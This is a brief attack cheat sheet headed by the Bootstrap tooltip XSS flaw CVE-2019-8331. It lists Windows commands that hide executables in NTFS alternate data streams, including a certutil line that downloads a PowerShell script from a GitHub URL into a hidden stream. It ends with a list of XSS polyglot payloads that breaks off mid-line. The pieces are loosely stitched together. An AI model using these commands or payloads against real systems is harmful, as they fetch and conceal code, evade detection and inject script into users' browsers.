Exloit

CVE-2019-8331

Bootstrap < 3.4.1 || < 4.3.1

✔️ CSP strict-dynamic bypass

➖ Requires user interaction

➖ Requires $('[data-toggle="tooltip"]').tooltip();

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

	javascript:"/'/`/--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/<svg/*/onload=alert()//>
	javascript:"/'/`/\" /</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/<html//onmouseover=alert()//>
	javascript:"/\"/`/' /</template></textarea></noembed></noscript></title></style></script>--><svg onload=/<html//onmouseover=alert()//>
	javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/--><html / onmouseover=alert()//'>`
	javascript:`/\"/--><svg onload='/</template></noembed></noscript></style></title></textarea></script><html onmouseover="/*/ alert()//'">`
	javascript:"/'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame / onload=alert()//</script>
	javascript:"/`/\"/'/</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/<i<frame// onload=alert()//</Script>
	javascript:`</template>\"///"//<